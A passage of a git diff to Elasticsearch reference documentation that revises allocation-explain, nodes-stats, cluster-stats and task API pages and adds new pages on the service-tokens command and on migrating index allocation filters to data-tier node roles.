"index.routing.allocation.include._tier_preference": null } } +---- +//// -GET /_cluster/allocation/explain +[source,console] +---- +GET _cluster/allocation/explain { "index": "my-index-000001", "shard": 0, "primary": true } --------------------------------------------------- +---- // TEST[continued] - -The API returns the following response for an unassigned primary shard: +The API response indicates the shard is allocated to a nonexistent node. [source,console-result] --------------------------------------------------- +---- { "index" : "my-index-000001", "shard" : 0, @@ -163,13 +133,13 @@ The API returns the following response for an unassigned primary shard: { "decider" : "filter", <5> "decision" : "NO", - "explanation" : "node does not match index setting [index.routing.allocation.include] filters [_name:\"non_existent_node\"]" <6> + "explanation" : "node does not match index setting [index.routing.allocation.include] filters [_name:\"nonexistent_node\"]" <6> } ] } ] } --------------------------------------------------- +---- // TESTRESPONSE[s/"at" : "[^"]*"/"at" : $body.$_path/] // TESTRESPONSE[s/"node_id" : "[^"]*"/"node_id" : $body.$_path/] // TESTRESPONSE[s/"transport_address" : "[^"]*"/"transport_address" : $body.$_path/] @@ -182,12 +152,11 @@ The API returns the following response for an unassigned primary shard: <5> The decider which led to the `no` decision for the node. <6> An explanation as to why the decider returned a `no` decision, with a helpful hint pointing to the setting that led to the decision. - -The API response output for an unassigned primary shard that had previously been -allocated to a node in the cluster: +The following response contains an allocation explanation for an unassigned +primary shard that was previously allocated. [source,js] --------------------------------------------------- +---- { "index" : "my-index-000001", "shard" : 0, @@ -202,17 +171,16 @@ allocated to a node in the cluster: "can_allocate" : "no_valid_shard_copy", "allocate_explanation" : "cannot allocate because a previous copy of the primary shard existed but can no longer be found on the nodes in the cluster" } --------------------------------------------------- +---- // NOTCONSOLE +===== Unassigned replica shard -===== Example of an unassigned replica shard explanation - -The API response output for a replica that is unassigned due to delayed -allocation: +The following response contains an allocation explanation for a replica that's +unassigned due to <>. [source,js] --------------------------------------------------- +---- { "index" : "my-index-000001", "shard" : 0, @@ -256,20 +224,21 @@ allocation: } ] } --------------------------------------------------- +---- // NOTCONSOLE + <1> The configured delay before allocating a replica shard that does not exist due to the node holding it leaving the cluster. <2> The remaining delay before allocating the replica shard. <3> Information about the shard data found on a node. +===== Assigned shard -===== Examples of allocated shard explanations - -The API response output for an assigned shard that is not allowed to remain on -its current node and is required to move: +The following response contains an allocation explanation for an assigned shard. +The response indicates the shard is not allowed to remain on its current node +and must be reallocated. [source,js] --------------------------------------------------- +---- { "index" : "my-index-000001", "shard" : 0, @@ -285,7 +254,7 @@ its current node and is required to move: { "decider" : "filter", "decision" : "NO", - "explanation" : "node does not match index setting [index.routing.allocation.include] filters [_name:\"non_existent_node\"]" + "explanation" : "node does not match index setting [index.routing.allocation.include] filters [_name:\"nonexistent_node\"]" } ], "can_move_to_other_node" : "no", <3> @@ -301,24 +270,25 @@ its current node and is required to move: { "decider" : "filter", "decision" : "NO", - "explanation" : "node does not match index setting [index.routing.allocation.include] filters [_name:\"non_existent_node\"]" + "explanation" : "node does not match index setting [index.routing.allocation.include] filters [_name:\"nonexistent_node\"]" } ] } ] } --------------------------------------------------- +---- // NOTCONSOLE + <1> Whether the shard is allowed to remain on its current node. <2> The deciders that factored into the decision of why the shard is not allowed to remain on its current node. <3> Whether the shard is allowed to be allocated to another node. - -The API response output for an assigned shard that remains on its current node -because moving the shard to another node does not form a better cluster balance: +The following response contains an allocation explanation for a shard that must +remain on its current node. Moving the shard to another node would not improve +cluster balance. [source,js] --------------------------------------------------- +---- { "index" : "my-index-000001", "shard" : 0, @@ -344,8 +314,22 @@ because moving the shard to another node does not form a better cluster balance: } ] } --------------------------------------------------- +---- // NOTCONSOLE + <1> Whether rebalancing is allowed on the cluster. <2> Whether the shard can be rebalanced to another node. <3> The reason the shard cannot be rebalanced to the node, in this case indicating that it offers no better balance than the current node. + +===== No arguments + +If you call the API with no arguments, {es} retrieves an allocation explanation +for an arbitrary unassigned primary or replica shard. + +[source,console] +---- +GET _cluster/allocation/explain +---- +// TEST[catch:bad_request] + +If the cluster contains no unassigned shards, the API returns a `400` error. diff --git a/docs/reference/cluster/nodes-hot-threads.asciidoc b/docs/reference/cluster/nodes-hot-threads.asciidoc index 5e1fa9a36a279..e8bdef825999a 100644 --- a/docs/reference/cluster/nodes-hot-threads.asciidoc +++ b/docs/reference/cluster/nodes-hot-threads.asciidoc @@ -40,7 +40,7 @@ include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=node-id] `ignore_idle_threads`:: (Optional, Boolean) If true, known idle threads (e.g. waiting in a socket - select, or to get a task from an empty queue) are filtered out. Defaults to + select, or to get a task from an empty queue) are filtered out. Defaults to true. `interval`:: diff --git a/docs/reference/cluster/nodes-info.asciidoc b/docs/reference/cluster/nodes-info.asciidoc index 4b8d2e6be502c..45effa530b120 100644 --- a/docs/reference/cluster/nodes-info.asciidoc +++ b/docs/reference/cluster/nodes-info.asciidoc @@ -50,7 +50,7 @@ comma-separated list, such as `http,ingest`. HTTP connection information. `ingest`:: -Statistics about ingest preprocessing. +Information about ingest pipelines and processors. `jvm`:: JVM stats, memory pool information, garbage collection, buffer pools, number of @@ -108,7 +108,7 @@ include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=node-id] `total_indexing_buffer`:: Total heap allowed to be used to hold recently indexed - documents before they must be written to disk. This size is + documents before they must be written to disk. This size is a shared pool across all shards on this node, and is controlled by <>. diff --git a/docs/reference/cluster/nodes-stats.asciidoc b/docs/reference/cluster/nodes-stats.asciidoc index 64b7df3a568ae..0a764b6095ff1 100644 --- a/docs/reference/cluster/nodes-stats.asciidoc +++ b/docs/reference/cluster/nodes-stats.asciidoc @@ -141,6 +141,8 @@ include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms] include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=include-segment-file-sizes] +include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=include-unloaded-segments] + [role="child_attributes"] [[cluster-nodes-stats-api-response-body]] ==== {api-response-body-title} @@ -254,6 +256,18 @@ Total size of all shards assigned to the node. (integer) Total size, in bytes, of all shards assigned to the node. +`total_data_set_size`:: +(<>) +Total data set size of all shards assigned to the node. +This includes the size of shards not stored fully on the node, such as the +cache for <>. + +`total_data_set_size_in_bytes`:: +(integer) +Total data set size, in bytes, of all shards assigned to the node. +This includes the size of shards not stored fully on the node, such as the +cache for <>. + `reserved`:: (<>) A prediction of how much larger the shard stores on this node will eventually @@ -1187,7 +1201,7 @@ since the {wikipedia}/Unix_time[Unix Epoch]. `open_file_descriptors`:: (integer) -Number of opened file descriptors associated with the current or +Number of opened file descriptors associated with the current or `-1` if not supported. `max_file_descriptors`:: @@ -1877,6 +1891,65 @@ Current number of open HTTP connections for the node. `total_opened`:: (integer) Total number of HTTP connections opened for the node. + +`clients`:: +(array of objects) +Information on current and recently-closed HTTP client connections. ++ +.Properties of `clients` +[%collapsible%open] +======= +`id`:: +(integer) +Unique ID for the HTTP client. + +`agent`:: +(string) +Reported agent for the HTTP client. If unavailable, this property is not +included in the response. + +`local_address`:: +(string) +Local address for the HTTP client. + +`remote_address`:: +(string) +Remote address for the HTTP client. + +`last_uri`:: +(string) +The URI of the client's most recent request. + +`x_forwarded_for`:: +(string) +Value from the client's `x-forwarded-for` HTTP header. If unavailable, this +property is not included in the response. + +`x_opaque_id`:: +(string) +Value from the client's `x-opaque-id` HTTP header. If unavailable, this property +is not included in the response. + +`opened_time_millis`:: +(integer) +Time at which the client opened the connection. + +`closed_time_millis`:: +(integer) +Time at which the client closed the connection if the connection is closed. + +`last_request_time_millis`:: +(integer) +Time of the most recent request from this client. + +`request_count`:: +(integer) +Number of requests from this client. + +`request_size_bytes`:: +(integer) +Cumulative size in bytes of all requests from this client. +======= ====== [[cluster-nodes-stats-api-response-body-breakers]] diff --git a/docs/reference/cluster/state.asciidoc b/docs/reference/cluster/state.asciidoc index 160153ee5e54d..9dfd71b263f2b 100644 --- a/docs/reference/cluster/state.asciidoc +++ b/docs/reference/cluster/state.asciidoc @@ -41,7 +41,7 @@ The response provides the cluster state itself, which can be filtered to only retrieve the parts of interest as described below. The cluster's `cluster_uuid` is also returned as part of the top-level response, -in addition to the `metadata` section. added[6.4.0] +in addition to the `metadata` section. NOTE: While the cluster is still forming, it is possible for the `cluster_uuid` to be `_na_` as well as the cluster state's version to be `-1`. @@ -93,13 +93,9 @@ you can request only the part of the cluster state that you need: -- ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases used to limit -the request. Wildcard expressions (`*`) are supported. -+ -To target all data streams and indices in a cluster, omit this parameter or use -`_all` or `*`. - +(Optional, string) Comma-separated list of data streams, indices, and aliases +used to limit the request. Supports wildcards (`*`). To target all data streams +and indices, omit this parameter or use `*` or `_all`. [[cluster-state-api-query-params]] ==== {api-query-parms-title} diff --git a/docs/reference/cluster/stats.asciidoc b/docs/reference/cluster/stats.asciidoc index 64fa4ceb1fce2..97f14c9122214 100644 --- a/docs/reference/cluster/stats.asciidoc +++ b/docs/reference/cluster/stats.asciidoc @@ -240,6 +240,18 @@ Total size of all shards assigned to selected nodes. (integer) Total size, in bytes, of all shards assigned to selected nodes. +`total_data_set_size`:: +(<>) +Total data set size of all shards assigned to selected nodes. +This includes the size of shards not stored fully on the nodes, such as the +cache for <>. + +`total_data_set_size_in_bytes`:: +(integer) +Total data set size, in bytes, of all shards assigned to selected nodes. +This includes the size of shards not stored fully on the nodes, such as the +cache for <>. + `reserved`:: (<>) A prediction of how much larger the shard stores will eventually grow due to @@ -492,6 +504,112 @@ Number of fields mapped to the field data type in selected nodes. `index_count`:: (integer) Number of indices containing a mapping of the field data type in selected nodes. + +`script_count`:: +(integer) +Number of fields that declare a script. + +`lang`:: +(array of strings) +Script languages used for the optional scripts + +`lines_max`:: +(integer) +Maximum number of lines for a single field script + +`lines_total`:: +(integer) +Total number of lines for the scripts + +`chars_max`:: +(integer) +Maximum number of characters for a single field script + +`chars_total`:: +(integer) +Total number of characters for the scripts + +`source_max`:: +(integer) +Maximum number of accesses to _source for a single field script + +`source_total`:: +(integer) +Total number of accesses to _source for the scripts + +`doc_max`:: +(integer) +Maximum number of accesses to doc_values for a single field script + +`doc_total`:: +(integer) +Total number of accesses to doc_values for the scripts +====== + +`runtime_field_types`:: +(array of objects) +Contains statistics about <> used in selected +nodes. ++ +.Properties of `runtime_field_types` objects +[%collapsible%open] +====== +`name`:: +(string) +Field data type used in selected nodes. + +`count`:: +(integer) +Number of runtime fields mapped to the field data type in selected nodes. + +`index_count`:: +(integer) +Number of indices containing a mapping of the runtime field data type in selected nodes. + +`scriptless_count`:: +(integer) +Number of runtime fields that don't declare a script. + +`shadowed_count`:: +(integer) +Number of runtime fields that shadow an indexed field. + +`lang`:: +(array of strings) +Script languages used for the runtime fields scripts + +`lines_max`:: +(integer) +Maximum number of lines for a single runtime field script + +`lines_total`:: +(integer) +Total number of lines for the scripts that define the current runtime field data type + +`chars_max`:: +(integer) +Maximum number of characters for a single runtime field script + +`chars_total`:: +(integer) +Total number of characters for the scripts that define the current runtime field data type + +`source_max`:: +(integer) +Maximum number of accesses to _source for a single runtime field script + +`source_total`:: +(integer) +Total number of accesses to _source for the scripts that define the current runtime field data type + +`doc_max`:: +(integer) +Maximum number of accesses to doc_values for a single runtime field script + +`doc_total`:: +(integer) +Total number of accesses to doc_values for the scripts that define the current runtime field data type + ====== ===== @@ -1172,6 +1290,8 @@ The API returns the following response: "store": { "size": "16.2kb", "size_in_bytes": 16684, + "total_data_set_size": "16.2kb", + "total_data_set_size_in_bytes": 16684, "reserved": "0b", "reserved_in_bytes": 0 }, @@ -1220,7 +1340,8 @@ The API returns the following response: "file_sizes": {} }, "mappings": { - "field_types": [] + "field_types": [], + "runtime_field_types": [] }, "analysis": { "char_filter_types": [], @@ -1363,6 +1484,7 @@ The API returns the following response: // TESTRESPONSE[s/"count": \{[^\}]*\}/"count": $body.$_path/] // TESTRESPONSE[s/"packaging_types": \[[^\]]*\]/"packaging_types": $body.$_path/] // TESTRESPONSE[s/"field_types": \[[^\]]*\]/"field_types": $body.$_path/] +// TESTRESPONSE[s/"runtime_field_types": \[[^\]]*\]/"runtime_field_types": $body.$_path/] // TESTRESPONSE[s/: true|false/: $body.$_path/] // TESTRESPONSE[s/: (\-)?[0-9]+/: $body.$_path/] // TESTRESPONSE[s/: "[^"]*"/: $body.$_path/] diff --git a/docs/reference/cluster/tasks.asciidoc b/docs/reference/cluster/tasks.asciidoc index 2994baf7204e1..13f966aa58cb0 100644 --- a/docs/reference/cluster/tasks.asciidoc +++ b/docs/reference/cluster/tasks.asciidoc @@ -75,7 +75,7 @@ GET _tasks?nodes=nodeId1,nodeId2&actions=cluster:* <3> // TEST[skip:No tasks to retrieve] <1> Retrieves all tasks currently running on all nodes in the cluster. -<2> Retrieves all tasks running on nodes `nodeId1` and `nodeId2`. See <> for more info about how to select individual nodes. +<2> Retrieves all tasks running on nodes `nodeId1` and `nodeId2`. See <> for more info about how to select individual nodes. <3> Retrieves all cluster-related tasks running on nodes `nodeId1` and `nodeId2`. The API returns the following result: @@ -171,7 +171,8 @@ The API returns the following result: "description" : "indices[test], types[test], search_type[QUERY_THEN_FETCH], source[{\"query\":...}]", "start_time_in_millis" : 1483478610008, "running_time_in_nanos" : 13991383, - "cancellable" : true + "cancellable" : true, + "cancelled" : false } } } @@ -238,16 +239,18 @@ list tasks command, so multiple tasks can be cancelled at the same time. For example, the following command will cancel all reindex tasks running on the nodes `nodeId1` and `nodeId2`. -`wait_for_completion`:: -(Optional, Boolean) If `true`, the request blocks until the cancellation of the -task and its descendant tasks is completed. Otherwise, the request can return soon -after the cancellation is started. Defaults to `false`. - [source,console] -------------------------------------------------- POST _tasks/_cancel?nodes=nodeId1,nodeId2&actions=*reindex -------------------------------------------------- +A task may continue to run for some time after it has been cancelled because it +may not be able to safely stop its current activity straight away. The list +tasks API will continue to list these cancelled tasks until they complete. The +`cancelled` flag in the response to the list tasks API indicates that the +cancellation command has been processed and the task will stop as soon as +possible. + ===== Task Grouping The task lists returned by task API commands can be grouped either by nodes diff --git a/docs/reference/cluster/voting-exclusions.asciidoc b/docs/reference/cluster/voting-exclusions.asciidoc index 021c1866240c6..8ee35bf3e24e6 100644 --- a/docs/reference/cluster/voting-exclusions.asciidoc +++ b/docs/reference/cluster/voting-exclusions.asciidoc @@ -23,6 +23,9 @@ Adds or removes master-eligible nodes from the * If the {es} {security-features} are enabled, you must have the `manage` <> to use this API. +* If the <> is enabled, only operator +users can use this API. + [[voting-config-exclusions-api-desc]] ==== {api-description-title} @@ -38,7 +41,7 @@ manually. It adds an entry for that node in the voting configuration exclusions list. The cluster then tries to reconfigure the voting configuration to remove that node and to prevent it from returning. -If the API fails, you can safely retry it. Only a successful response +If the API fails, you can safely retry it. Only a successful response guarantees that the node has been removed from the voting configuration and will not be reinstated. diff --git a/docs/reference/commands/certutil.asciidoc b/docs/reference/commands/certutil.asciidoc index a491cf86b5082..caf39e1f062c9 100644 --- a/docs/reference/commands/certutil.asciidoc +++ b/docs/reference/commands/certutil.asciidoc @@ -214,7 +214,7 @@ parameter cannot be used with the `csr` parameter. applicable to the `cert` parameter. + -- -NOTE: This option is not recommended for <>. +NOTE: This option is not recommended for <>. In fact, a self-signed certificate should be used only when you can be sure that a CA is definitely not needed and trust is directly given to the certificate itself. @@ -253,7 +253,7 @@ Alternatively, you can specify the `--ca-pass`, `--out`, and `--pass` parameters By default, this command generates a file called `elastic-certificates.p12`, which you can copy to the relevant configuration directory for each Elastic product that you want to configure. For more information, see -<>. +<>. [discrete] [[certutil-silent]] diff --git a/docs/reference/commands/index.asciidoc b/docs/reference/commands/index.asciidoc index 7b49a9de873ef..270667add876c 100644 --- a/docs/reference/commands/index.asciidoc +++ b/docs/reference/commands/index.asciidoc @@ -4,7 +4,7 @@ [partintro] -- -{es} provides the following tools for configuring security and performing other +{es} provides the following tools for configuring security and performing other tasks from the command line: * <> @@ -26,6 +26,7 @@ include::croneval.asciidoc[] include::keystore.asciidoc[] include::node-tool.asciidoc[] include::saml-metadata.asciidoc[] +include::service-tokens-command.asciidoc[] include::setup-passwords.asciidoc[] include::shard-tool.asciidoc[] include::syskeygen.asciidoc[] diff --git a/docs/reference/commands/node-tool.asciidoc b/docs/reference/commands/node-tool.asciidoc index 17a4e949455dc..d44d3fae34b5a 100644 --- a/docs/reference/commands/node-tool.asciidoc +++ b/docs/reference/commands/node-tool.asciidoc @@ -36,11 +36,11 @@ This tool has a number of modes: prevents the cluster state from being loaded. * `elasticsearch-node unsafe-bootstrap` can be used to perform _unsafe cluster - bootstrapping_. It forces one of the nodes to form a brand-new cluster on + bootstrapping_. It forces one of the nodes to form a brand-new cluster on its own, using its local copy of the cluster metadata. * `elasticsearch-node detach-cluster` enables you to move nodes from one - cluster to another. This can be used to move nodes into a new cluster + cluster to another. This can be used to move nodes into a new cluster created with the `elasticsearch-node unsafe-bootstrap` command. If unsafe cluster bootstrapping was not possible, it also enables you to move nodes into a brand-new cluster. @@ -137,10 +137,10 @@ repaired. If the cluster is still available then you can start up a fresh node on another host and {es} will bring this node into the cluster in place of the failed node. -Each node stores its data in the data directories defined by the +Each node stores its data in the data directory defined by the <>. This means that in a disaster you can -also restart a node by moving its data directories to another host, presuming -that those data directories can be recovered from the faulty host. +also restart a node by moving its data directory to another host, presuming +that that data directory can be recovered from the faulty host. {es} <> in order to elect a master and to update the cluster @@ -218,7 +218,7 @@ node with the same term, pick the one with the largest version. This information identifies the node with the freshest cluster state, which minimizes the quantity of data that might be lost. For example, if the first node reports `(4, 12)` and a second node reports `(5, 3)`, then the second node is preferred -since its term is larger. However if the second node reports `(3, 17)` then +since its term is larger. However if the second node reports `(3, 17)` then the first node is preferred since its term is larger. If the second node reports `(4, 10)` then it has the same term as the first node, but has a smaller version, so the first node is preferred. diff --git a/docs/reference/commands/service-tokens-command.asciidoc b/docs/reference/commands/service-tokens-command.asciidoc new file mode 100644 index 0000000000000..417767db46cf7 --- /dev/null +++ b/docs/reference/commands/service-tokens-command.asciidoc @@ -0,0 +1,148 @@ +[role="xpack"] +[testenv="gold+"] +[[service-tokens-command]] +== elasticsearch-service-tokens + +beta::[] + +Use the `elasticsearch-service-tokens` command to create, list, and delete file-based service account tokens. + +[discrete] +=== Synopsis + +[source,shell] +---- +bin/elasticsearch-service-tokens +([create ]) | +([list] []) | +([delete ]) +---- + +[discrete] +=== Description +This command creates a `service_tokens` file in the `$ES_HOME/config` directory +when you create the first service account token. This file does not exist by +default. {es} monitors this file for changes and dynamically reloads it. + +See <> for more information. + +IMPORTANT: To ensure that {es} can read the service account token information at +startup, run `elasticsearch-service-tokens` as the same user you use to run +{es}. Running this command as `root` or some other user updates the permissions +for the `service_tokens` file and prevents {es} from accessing it. + +[discrete] +[[service-tokens-command-parameters]] +=== Parameters + +`create`:: +Creates a service account token for the specified service account. ++ +.Properties of `create` +[%collapsible%open] +==== +``::: +(Required, string) Service account principal that takes the format of +`/`, where the `namespace` is a top-level grouping of +service accounts, and `service` is the name of the service. For example, `elastic/fleet-server`. ++ +The service account principal must match a known service account. + +``::: +(Required, string) An identifier for the token name. ++ +-- +Token names must be at least 1 and no more than 256 characters. They can contain +alphanumeric characters (`a-z`, `A-Z`, `0-9`), dashes (`-`), and underscores +(`_`), but cannot begin with an underscore. + +NOTE: Token names must be unique in the context of the associated service +account. +-- +==== + +`list`:: +Lists all service account tokens defined in the `service_tokens` file. If you +specify a service account principal, the command lists only the tokens that +belong to the specified service account. ++ +.Properties of `list` +[%collapsible%open] +==== +``::: +(Optional, string) Service account principal that takes the format of +`/`, where the `namespace` is a top-level grouping of +service accounts, and `service` is the name of the service. For example, `elastic/fleet-server`. ++ +The service account principal must match a known service account. +==== + +`delete`:: +Deletes a service account token for the specified service account. ++ +.Properties of `delete` +[%collapsible%open] +==== +``::: +(Required, string) Service account principal that takes the format of +`/`, where the `namespace` is a top-level grouping of +service accounts, and `service` is the name of the service. For example, `elastic/fleet-server`. ++ +The service account principal must match a known service account. +==== + +``::: +(Required, string) Name of an existing token. + +[discrete] +=== Examples + +The following command creates a service account token named `my-token` for +the `elastic/fleet-server` service account. + +[source,shell] +---- +bin/elasticsearch-service-tokens create elastic/fleet-server my-token +---- + +The output is a bearer token, which is a Base64 encoded string. + +[source,shell] +---- +SERVICE_TOKEN elastic/fleet-server/my-token = AAEAAWVsYXN0aWM...vZmxlZXQtc2VydmVyL3Rva2VuMTo3TFdaSDZ +---- + +Use this bearer token to authenticate with your {es} cluster. + +[source,shell] +---- +curl -H "Authorization: Bearer AAEAAWVsYXN0aWM...vZmxlZXQtc2VydmVyL3Rva2VuMTo3TFdaSDZ" http://localhost:9200/_cluster/health +---- +// NOTCONSOLE + +NOTE: If your node has `xpack.security.http.ssl.enabled` set to `true`, then +you must specify `https` in the request URL. + +The following command lists all service account tokens that are defined in the +`service_tokens` file. + +[source,shell] +---- +bin/elasticsearch-service-tokens list +---- + +A list of all service account tokens displays in your terminal: + +[source,txt] +---- +elastic/fleet-server/my-token +elastic/fleet-server/another-token +---- + +The following command deletes the `my-token` service account token for the +`elastic/fleet-server` service account: + +[source,shell] +---- +bin/elasticsearch-service-tokens delete elastic/fleet-server my-token +---- diff --git a/docs/reference/commands/shard-tool.asciidoc b/docs/reference/commands/shard-tool.asciidoc index 32e73c757b72c..10eb18ea70149 100644 --- a/docs/reference/commands/shard-tool.asciidoc +++ b/docs/reference/commands/shard-tool.asciidoc @@ -7,7 +7,7 @@ shard if a good copy of the shard cannot be recovered automatically or restored from backup. [WARNING] -You will lose the corrupted data when you run `elasticsearch-shard`. This tool +You will lose the corrupted data when you run `elasticsearch-shard`. This tool should only be used as a last resort if there is no way to recover from another copy of the shard or restore a snapshot. diff --git a/docs/reference/data-management/migrate-index-allocation-filters.asciidoc b/docs/reference/data-management/migrate-index-allocation-filters.asciidoc new file mode 100644 index 0000000000000..be6b0d2c06067 --- /dev/null +++ b/docs/reference/data-management/migrate-index-allocation-filters.asciidoc @@ -0,0 +1,163 @@ +[role="xpack"] +[[migrate-index-allocation-filters]] +== Migrate index allocation filters to node roles + +If you currently use custom node attributes and +<> to +move indices through <> in a +https://www.elastic.co/blog/implementing-hot-warm-cold-in-elasticsearch-with-index-lifecycle-management[hot-warm-cold architecture], +we recommend that you switch to using the built-in node roles +and automatic <>. +Using node roles enables {ilm-init} to automatically +move indices between data tiers. + +NOTE: While we recommend relying on automatic data tier allocation to manage +your data in a hot-warm-cold architecture, +you can still use attribute-based allocation filters to +control shard allocation for other purposes. + +To switch to using node roles: + +. <> to the appropriate data tier. +. <> from your {ilm} policy. +. <> +on new indices. +. Update existing indices to <>. + + +[discrete] +[[assign-data-tier]] +=== Assign data nodes to a data tier + +Configure the appropriate roles for each data node to assign it to one or more +data tiers: `data_hot`, `data_content`, `data_warm`, `data_cold`, or `data_frozen`. +A node can also have other <>. By default, new nodes are +configured with all roles. + +When you add a data tier to an {ess} deployment, +one or more nodes are automatically configured with the corresponding role. +To explicitly change the role of a node in an {ess} deployment, use the +{cloud}/ec-api-deployment-crud.html#ec_update_a_deployment[Update deployment API]. +Replace the node's `node_type` configuration with the appropriate `node_roles`. +For example, the following configuration adds the node to the hot and content +tiers, and enables it to act as an ingest node, remote, and transform node. + +[source,yaml] +---- +"node_roles": [ + "data_hot", + "data_content", + "ingest", + "remote_cluster_client", + "transform" +], +---- + +If you are directly managing your own cluster, +configure the appropriate roles for each node in `elasticsearch.yml`. +For example, the following setting configures a node to be a data-only +node in the hot and content tiers. + +[source,yaml] +---- +node.roles [ data_hot, data_content ] +---- + +[discrete] +[[remove-custom-allocation-settings]] +=== Remove custom allocation settings from existing {ilm-init} policies + +Update the allocate action for each lifecycle phase to remove the attribute-based +allocation settings. This enables {ilm-init} to inject the +<> action into each phase +to automatically transition the indices through the data tiers. + +If the allocate action does not set the number of replicas, +remove the allocate action entirely. (An empty allocate action is invalid.) + +IMPORTANT: The policy must specify the corresponding phase for each data tier in +your architecture. Each phase must be present so {ilm-init} can inject the +migrate action to move indices through the data tiers. +If you don't need to perform any other actions, the phase can be empty. +For example, if you enable the warm and cold data tiers for a deployment, +your policy must include the hot, warm, and cold phases. + +[discrete] +[[stop-setting-custom-hot-attribute]] +=== Stop setting the custom hot attribute on new indices + +When you create a data stream, its first backing index +is now automatically assigned to `data_hot` nodes. +Similarly, when you directly create an index, it +is automatically assigned to `data_content` nodes. + +On {ess} deployments, remove the `cloud-hot-warm-allocation-0` index template +that set the hot shard allocation attribute on all indices. + +[source,console] +---- +DELETE _template/.cloud-hot-warm-allocation-0 +---- +// TEST[skip:no cloud template] + +If you're using a custom index template, update it to remove the <> you used to assign new indices to the hot tier. + +[discrete] +[[set-tier-preference]] +=== Set a tier preference for existing indices. + +{ilm-init} automatically transitions managed indices through the available +data tiers by automatically injecting a <> +into each phase. + +To enable {ilm-init} to move an _existing_ managed index +through the data tiers, update the index settings to: + +. Remove the custom allocation filter by setting it to `null`. +. Set the <>. + +For example, if your old template set the `data` attribute to `hot` +to allocate shards to the hot tier, set the `data` attribute to `null` +and set the `_tier_preference` to `data_hot`. + +//// +[source,console] +---- +PUT /my-index + +PUT /my-index/_settings +{ + "index.routing.allocation.require.data": "hot" +} +---- +//// + +[source,console] +---- +PUT my-index/_settings +{ + "index.routing.allocation.require.data": null, + "index.routing.allocation.include._tier_preference": "data_hot" +} +---- +// TEST[continued] + +For indices that have already transitioned out of the hot phase, +the tier preference should include the appropriate fallback tiers +to ensure index shards can be allocated if the preferred tier +is unavailable. +For example, specify the hot tier as the fallback for indices +already in the warm phase. + +[source,console] +---- +PUT my-index/_settings +{ + "index.routing.allocation.require.data": null, + "index.routing.allocation.include._tier_preference": "data_warm,data_hot" +} +---- +// TEST[continued] + +If an index is already in the cold phase, include the cold, warm, and hot tiers. diff --git a/docs/reference/data-rollup-transform.asciidoc b/docs/reference/data-rollup-transform.asciidoc index 81ed4a5078804..e0d5d702c835e 100644 --- a/docs/reference/data-rollup-transform.asciidoc +++ b/docs/reference/data-rollup-transform.asciidoc @@ -6,9 +6,23 @@ {es} offers the following methods for manipulating your data: +ifdef::permanently-unreleased-branch[] + +* <> ++ +A rollup aggregates an index's time series data and stores the results in new +read-only index. For example, you can roll up hourly data into daily or weekly +summaries. + +endif::[] +ifndef::permanently-unreleased-branch[] + * <> + include::rollup/index.asciidoc[tag=rollup-intro] + +endif::[] + * <> + include::transform/transforms.asciidoc[tag=transform-intro] diff --git a/docs/reference/data-streams/change-mappings-and-settings.asciidoc b/docs/reference/data-streams/change-mappings-and-settings.asciidoc index 7ddfa9c540f3d..7f6f8cc9b1342 100644 --- a/docs/reference/data-streams/change-mappings-and-settings.asciidoc +++ b/docs/reference/data-streams/change-mappings-and-settings.asciidoc @@ -2,7 +2,7 @@ [[data-streams-change-mappings-and-settings]] == Change mappings and settings for a data stream -Each data stream has a <>. Mappings and index settings from this template are applied to new backing indices created for the stream. This includes the stream's first backing index, which is auto-generated when the stream is created. @@ -35,7 +35,7 @@ PUT /_ilm/policy/my-data-stream-policy "hot": { "actions": { "rollover": { - "max_size": "25GB" + "max_primary_shard_size": "25GB" } } }, @@ -93,7 +93,7 @@ field mapping is added to future backing indices created for the stream. For example, `my-data-stream-template` is an existing index template used by `my-data-stream`. -The following <> request adds a mapping +The following <> request adds a mapping for a new field, `message`, to the template. [source,console] @@ -117,12 +117,12 @@ PUT /_index_template/my-data-stream-template <1> Adds a mapping for the new `message` field. -- -. Use the <> to add the new field mapping +. Use the <> to add the new field mapping to the data stream. By default, this adds the mapping to the stream's existing backing indices, including the write index. + -- -The following put mapping API request adds the new `message` field mapping to +The following update mapping API request adds the new `message` field mapping to `my-data-stream`. [source,console] @@ -138,11 +138,11 @@ PUT /my-data-stream/_mapping ---- -- + -To add the mapping only to the stream's write index, set the put mapping API's +To add the mapping only to the stream's write index, set the update mapping API's `write_index_only` query parameter to `true`. + -- -The following put mapping request adds the new `message` field mapping only to +The following update mapping request adds the new `message` field mapping only to `my-data-stream`'s write index. The new field mapping is not added to the stream's other backing indices. @@ -165,7 +165,7 @@ PUT /my-data-stream/_mapping?write_index_only=true The documentation for each <> indicates whether you can update it for an existing field using the -<>. To update these parameters for an +<>. To update these parameters for an existing field, follow these steps: . Update the index template used by the data stream. This ensures the updated @@ -175,7 +175,7 @@ field mapping is added to future backing indices created for the stream. For example, `my-data-stream-template` is an existing index template used by `my-data-stream`. -The following <> request changes the +The following <> request changes the argument for the `host.ip` field's <> mapping parameter to `true`. @@ -205,12 +205,12 @@ PUT /_index_template/my-data-stream-template <1> Changes the `host.ip` field's `ignore_malformed` value to `true`. -- -. Use the <> to apply the mapping changes +. Use the <> to apply the mapping changes to the data stream. By default, this applies the changes to the stream's existing backing indices, including the write index. + -- -The following <> request targets +The following <> request targets `my-data-stream`. The request changes the argument for the `host.ip` field's `ignore_malformed` mapping parameter to `true`. @@ -236,7 +236,7 @@ To apply the mapping changes only to the stream's write index, set the put mapping API's `write_index_only` query parameter to `true`. + -- -The following put mapping request changes the `host.ip` field's mapping only for +The following update mapping request changes the `host.ip` field's mapping only for `my-data-stream`'s write index. The change is not applied to the stream's other backing indices. @@ -281,7 +281,7 @@ applied to future backing indices created for the stream. For example, `my-data-stream-template` is an existing index template used by `my-data-stream`. -The following <> request changes the +The following <> request changes the template's `index.refresh_interval` index setting to `30s` (30 seconds). [source,console] @@ -335,8 +335,8 @@ backing index created after the update. For example, `my-data-stream-template` is an existing index template used by `my-data-stream`. -The following <> requests adds new -`sort.field` and `sort.order index` settings to the template. +The following <> requests +adds new `sort.field` and `sort.order index` settings to the template. [source,console] ---- @@ -386,10 +386,10 @@ Follow these steps: stream will contain data from your existing stream. + You can use the resolve index API to check if the name or pattern matches any -existing indices, index aliases, or data streams. If so, you should consider -using another name or pattern. +existing indices, aliases, or data 